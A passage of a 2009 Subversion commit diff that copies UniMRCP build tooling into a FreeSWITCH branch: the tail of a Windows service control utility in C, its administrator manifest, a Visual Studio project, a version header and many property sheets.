+}
+
+/** Stop service */
+static apt_bool_t uni_service_stop()
+{
+	apt_bool_t status = TRUE;
+	SERVICE_STATUS ss_status;
+	SC_HANDLE sch_service;
+	SC_HANDLE sch_manager = OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS);
+	if(!sch_manager) {
+		printf("Failed to Open SCManager %d\n", GetLastError());
+		return FALSE;
+	}
+
+	sch_service = OpenService(sch_manager,WIN_SERVICE_NAME,SERVICE_STOP);
+	if(!sch_service) {
+		printf("Failed to Open Service %d\n", GetLastError());
+		CloseServiceHandle(sch_manager);
+		return FALSE;
+	}
+
+	if(!ControlService(sch_service,SERVICE_CONTROL_STOP,&ss_status)) {
+		printf("Failed to Stop Service %d\n", GetLastError());
+		status = FALSE;
+	}
+
+	CloseServiceHandle(sch_service);
+	CloseServiceHandle(sch_manager);
+	return status;
+}
+
+
+static void usage()
+{
+	printf(
+		"\n"
+		"Usage:\n"
+		"\n"
+		"  unimrcpservice [options]\n"
+		"\n"
+		"  Available options:\n"
+		"\n"
+		"   -r [--register] rootdir : Register the Windows service.\n"
+		"\n"
+		"   -u [--unregister]       : Unregister the Windows service.\n"
+		"\n"
+		"   -s [--start]            : Start the Windows service.\n"
+		"\n"
+		"   -t [--stop]             : Stop the Windows service.\n"
+		"\n"
+		"   -h [--help]             : Show the help.\n"
+		"\n");
+}
+
+int main(int argc, const char * const *argv)
+{
+	apr_pool_t *pool;
+	apr_status_t rv;
+	apr_getopt_t *opt;
+
+	static const apr_getopt_option_t opt_option[] = {
+		/* long-option, short-option, has-arg flag, description */
+		{ "register",   'r', TRUE,  "register service" },  /* -r or --register arg */
+		{ "unregister", 'u', FALSE, "unregister service" },/* -u or --unregister */
+		{ "start",      's', FALSE, "start service" },     /* -s or --start */
+		{ "stop",       't', FALSE, "stop service" },      /* -t or --stop */
+		{ "help",       'h', FALSE, "show help" },         /* -h or --help */
+		{ NULL, 0, 0, NULL },                               /* end */
+	};
+
+	/* APR global initialization */
+	if(apr_initialize() != APR_SUCCESS) {
+		apr_terminate();
+		return 0;
+	}
+
+	/* create APR pool */
+	pool = apt_pool_create();
+	if(!pool) {
+		apr_terminate();
+		return 0;
+	}
+
+	rv = apr_getopt_init(&opt, pool , argc, argv);
+	if(rv == APR_SUCCESS) {
+		int optch;
+		const char *optarg;
+		while((rv = apr_getopt_long(opt, opt_option, &optch, &optarg)) == APR_SUCCESS) {
+			switch(optch) {
+				case 'r':
+					uni_service_register(optarg,pool);
+					break;
+				case 'u':
+					uni_service_unregister();
+					break;
+				case 's':
+					uni_service_start();
+					break;
+				case 't':
+					uni_service_stop();
+					break;
+				case 'h':
+					usage();
+					break;
+			}
+		}
+		if(rv != APR_EOF) {
+			usage();
+		}
+	}
+
+	/* destroy APR pool */
+	apr_pool_destroy(pool);
+	/* APR global termination */
+	apr_terminate();
+	return 0;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/build/tools/unimrcpservice.exe.manifest

Copied: freeswitch/branches/seven/libs/unimrcp/build/tools/unimrcpservice.exe.manifest (from rev 14471, freeswitch/trunk/libs/unimrcp/build/tools/unimrcpservice.exe.manifest) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/tools/unimrcpservice.exe.manifest	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/tools/unimrcpservice.exe.manifest	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
+  <assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="<AppName>" type="win32"/>
+  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
+    <security>
+      <requestedPrivileges>
+        <requestedExecutionLevel level="requireAdministrator"/>
+      </requestedPrivileges>
+    </security>
+  </trustInfo>
+</assembly>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/tools/unimrcpservice.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/build/tools/unimrcpservice.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/build/tools/unimrcpservice.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/tools/unimrcpservice.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/tools/unimrcpservice.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,159 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="unimrcpservice"
+	ProjectGUID="{4714EF49-BFD5-4B22-95F7-95A07F1EAC25}"
+	RootNamespace="unimrcpservice"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\apt.vsprops"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="libaprutil-1.lib libapr-1.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+				AdditionalManifestFiles="unimrcpservice.exe.manifest"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\apt.vsprops"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="libaprutil-1.lib libapr-1.lib"
+				LinkTimeCodeGeneration="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+				AdditionalManifestFiles="unimrcpservice.exe.manifest"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath=".\unimrcp_service.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/uni_version.h

Copied: freeswitch/branches/seven/libs/unimrcp/build/uni_version.h (from rev 14471, freeswitch/trunk/libs/unimrcp/build/uni_version.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/uni_version.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/uni_version.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,66 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __UNI_VERSION_H__
+#define __UNI_VERSION_H__
+
+/**
+ * @file uni_version.h
+ * @brief UniMRCP Version Numbering
+ * 
+ * UniMRCP version numbering is derived from APR project specified in:
+ *
+ *     http://apr.apache.org/versioning.html
+ */
+
+#include <apr_version.h>
+
+/** major version 
+ * Major API changes that could cause compatibility problems for older
+ * programs such as structure size changes.  No binary compatibility is
+ * possible across a change in the major version.
+ */
+#define UNI_MAJOR_VERSION   0
+
+/** minor version
+ * Minor API changes that do not cause binary compatibility problems.
+ * Reset to 0 when upgrading UNI_MAJOR_VERSION
+ */
+#define UNI_MINOR_VERSION   6
+
+/** patch level 
+ * The Patch Level never includes API changes, simply bug fixes.
+ * Reset to 0 when upgrading UNI_MINOR_VERSION
+ */
+#define UNI_PATCH_VERSION   0
+
+
+/**
+ * Check at compile time if the UNI version is at least a certain
+ * level.
+ */
+#define UNI_VERSION_AT_LEAST(major,minor,patch)                    \
+(((major) < UNI_MAJOR_VERSION)                                     \
+ || ((major) == UNI_MAJOR_VERSION && (minor) < UNI_MINOR_VERSION) \
+ || ((major) == UNI_MAJOR_VERSION && (minor) == UNI_MINOR_VERSION && (patch) <= UNI_PATCH_VERSION))
+
+/** The formatted string of UniMRCP's version */
+#define UNI_VERSION_STRING \
+     APR_STRINGIFY(UNI_MAJOR_VERSION) "." \
+     APR_STRINGIFY(UNI_MINOR_VERSION) "." \
+     APR_STRINGIFY(UNI_PATCH_VERSION)
+
+#endif /* __UNI_VERSION_H__ */

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops)

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/apr.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/apr.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/apr.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/apr.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/apr.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="apr"
+	InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unibase.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(AprDir)\include&quot;;&quot;$(AprUtilDir)\include&quot;"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalLibraryDirectories="&quot;$(AprDir)\$(ConfigurationName)&quot;;&quot;$(AprUtilDir)\$(ConfigurationName)&quot;"
+	/>
+	<UserMacro
+		Name="AprDir"
+		Value="$(LibRootDir)libs\apr"
+	/>
+	<UserMacro
+		Name="AprUtilDir"
+		Value="$(LibRootDir)libs\apr-util"
+	/>
+	<UserMacro
+		Name="AprIconvDir"
+		Value="$(LibRootDir)libs\apr-iconv"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/apt.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/apt.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/apt.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/apt.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/apt.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="apt"
+	InheritedPropertySheets="apr.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(ProjectRootDir)libs\apr-toolkit\include&quot;"
+		PreprocessorDefinitions="APT_STATIC_LIB"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalLibraryDirectories="&quot;$(OutDir)&quot;"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/cepstral.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/cepstral.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/cepstral.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/cepstral.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/cepstral.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="cepstral"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(CepstralSDKDir)\include&quot;"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalDependencies="swift.lib"
+		AdditionalLibraryDirectories="&quot;$(CepstralSDKDir)\lib\lib-windows&quot;"
+	/>
+	<UserMacro
+		Name="CepstralSDKDir"
+		Value="C:\Program Files\Cepstral\sdk"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/flite.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/flite.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/flite.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/flite.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/flite.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="flite"
+	InheritedPropertySheets=".\unibase.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(FliteDir)\include&quot;"
+		PreprocessorDefinitions="APT_LIB_EXPORT"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalDependencies="flite.lib"
+		AdditionalLibraryDirectories="&quot;$(FliteDir)\$(ConfigurationName)&quot;"
+	/>
+	<UserMacro
+		Name="FliteDir"
+		Value="$(LibRootDir)libs\flite"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/mpf.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/mpf.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/mpf.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/mpf.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/mpf.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mpf"
+	InheritedPropertySheets="apt.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(ProjectRootDir)libs\mpf\include&quot;"
+		PreprocessorDefinitions="MPF_STATIC_LIB"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalLibraryDirectories="&quot;$(OutDir)&quot;"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcp.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcp.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/mrcp.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcp.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcp.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcp"
+	InheritedPropertySheets=".\apt.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(ProjectRootDir)libs\mrcp\include&quot;;&quot;$(ProjectRootDir)libs\mrcp\message\include&quot;;&quot;$(ProjectRootDir)libs\mrcp\control\include&quot;;&quot;$(ProjectRootDir)libs\mrcp\resources\include&quot;"
+		PreprocessorDefinitions="MRCP_STATIC_LIB"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalLibraryDirectories="&quot;$(OutDir)&quot;"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpclient.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpclient.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/mrcpclient.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpclient.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpclient.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcpclient"
+	InheritedPropertySheets=".\mrcpsignaling.vsprops;.\mrcpv2transport.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(ProjectRootDir)libs\mrcp-client\include&quot;"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalLibraryDirectories="&quot;$(OutDir)&quot;"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpengine.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpengine.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/mrcpengine.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpengine.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpengine.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcpengine"
+	InheritedPropertySheets=".\mpf.vsprops;.\mrcp.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(ProjectRootDir)libs\mrcp-engine\include&quot;"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalLibraryDirectories="&quot;$(OutDir)&quot;"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpserver.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpserver.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/mrcpserver.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpserver.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpserver.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcpserver"
+	InheritedPropertySheets=".\mrcpengine.vsprops;.\mrcpsignaling.vsprops;.\mrcpv2transport.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(ProjectRootDir)libs\mrcp-server\include&quot;"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalLibraryDirectories="&quot;$(OutDir)&quot;"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpsignaling.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpsignaling.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/mrcpsignaling.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpsignaling.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpsignaling.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcpsignaling"
+	InheritedPropertySheets=".\mpf.vsprops;.\mrcp.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(ProjectRootDir)libs\mrcp-signaling\include&quot;"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalLibraryDirectories="&quot;$(OutDir)&quot;"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpv2transport.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpv2transport.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/mrcpv2transport.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpv2transport.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/mrcpv2transport.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcpv2transport"
+	InheritedPropertySheets=".\mrcp.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(ProjectRootDir)libs\mrcpv2-transport\include&quot;"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalLibraryDirectories="&quot;$(OutDir)&quot;"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/pocketsphinx.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/pocketsphinx.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/pocketsphinx.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/pocketsphinx.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/pocketsphinx.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="pocketsphinx"
+	InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unibase.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(PocketSphinxDir)\include&quot;;&quot;$(SphinxBaseDir)\include&quot;"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalDependencies="sphinxbase.lib pocketsphinx.lib"
+		AdditionalLibraryDirectories="&quot;$(PocketSphinxDir)\bin\$(ConfigurationName)&quot;;&quot;$(SphinxBaseDir)\lib\$(ConfigurationName)&quot;"
+	/>
+	<UserMacro
+		Name="PocketSphinxDir"
+		Value="$(LibRootDir)libs\pocketsphinx"
+	/>
+	<UserMacro
+		Name="SphinxBaseDir"
+		Value="$(LibRootDir)libs\sphinxbase"
+	/>
+</VisualStudioPropertySheet>

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/sdk)

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk/unimrcpclient.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk/unimrcpclient.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/sdk/unimrcpclient.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk/unimrcpclient.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk/unimrcpclient.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="unimrcpclient"
+	InheritedPropertySheets="unimrcpsdk.vsprops"
+	>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalDependencies="libunimrcpclient.lib mrcpsofiasip.lib mrcpunirtsp.lib unirtsp.lib mrcpclient.lib mrcpv2transport.lib mrcpsignaling.lib libsofia_sip_ua.lib ws2_32.lib winmm.lib"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk/unimrcpplugin.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk/unimrcpplugin.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/sdk/unimrcpplugin.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk/unimrcpplugin.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk/unimrcpplugin.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="unimrcpplugin"
+	InheritedPropertySheets="unimrcpsdk.vsprops"
+	>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalDependencies="mrcpengine.lib"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk/unimrcpsdk.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk/unimrcpsdk.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/sdk/unimrcpsdk.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk/unimrcpsdk.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk/unimrcpsdk.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="unimrcpsdk"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(ProjectRootDir)\include&quot;"
+		PreprocessorDefinitions="APT_STATIC_LIB;MPF_STATIC_LIB;MRCP_STATIC_LIB"
+	/>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalLibraryDirectories="&quot;$(ProjectRootDir)\lib&quot;"
+		AdditionalDependencies="mrcp.lib mpf.lib aprtoolkit.lib libaprutil-1.lib libapr-1.lib"
+	/>
+	<UserMacro
+		Name="ProjectRootDir"
+		Value="C:\Program Files\UniMRCP"
+	/>
+</VisualStudioPropertySheet>

Deleted: freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk/unimrcpserver.vsprops

Copied: freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk/unimrcpserver.vsprops (from rev 14471, freeswitch/trunk/libs/unimrcp/build/vsprops/sdk/unimrcpserver.vsprops) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk/unimrcpserver.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/vsprops/sdk/unimrcpserver.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="unimrcpserver"
+	InheritedPropertySheets="unimrcpsdk.vsprops"
+	>
+	<Tool
+		Name="VCLinkerTool"
+		AdditionalDependencies="libunimrcpserver.lib mrcpsofiasip.lib mrcpunirtsp.lib unirtsp.lib mrcpserver.lib mrcpv2transport.lib mrcpsignaling.lib mrcpengine.lib libsofia_sip_ua.lib ws2_32.lib winmm.lib"
+	/>
